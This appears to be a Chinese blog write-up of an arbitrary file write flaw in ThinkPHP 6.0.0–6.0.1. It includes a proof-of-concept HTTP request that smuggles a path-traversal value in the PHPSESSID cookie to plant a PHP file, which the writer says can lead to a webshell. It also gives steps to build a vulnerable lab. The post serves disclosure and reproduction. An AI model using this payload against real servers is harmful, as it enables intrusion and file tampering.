Thinkphp 6.0 任意文件操作漏洞

发布于 12 天前  32 次阅读


ThinkPHP 6 任意文件操作漏洞
影响范围:ThinkPHP6.0.0-6.0.1
利用前提;需要,默认情况下无此漏洞

漏洞代码:
首先漏洞利用前提需要开启Session初始化功能,根据网站业务逻辑功能而定,如Session保存的内容可控则可以直接GETSHELL,如Session文件不可控则可以覆盖任意系统文件
程序在构造响应数据时会将数据写入session文件,此session文件是由请求数据中PHPSESSID构造而成、且这里当PHPSESSID大于等于32位字符时没有任何过滤
漏洞利用:

修改文件为以下内容
Payload:

GET /index?test=233 HTTP/1.1
Host: 10.19.81.99:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=../../../../public/KCGG101111111.php
Upgrade-Insecure-Requests: 1

TP6.0框架安装启动

composer create-project topthink/think tp60
将 tp60/composer.json 文件的 "topthink/framework": "^6.0.0" 改成 6.0.0 版本,并执行如下命令。
composer update
启动框架
./think run --host=10.19.81.99

参考文章:

https://github.com/Loneyers/ThinkPHP6_Anyfile_operation_writehttps://www.t00ls.net/thread-54753-1-1.html


一沙一世界,一花一天堂。君掌盛无边,刹那成永恒。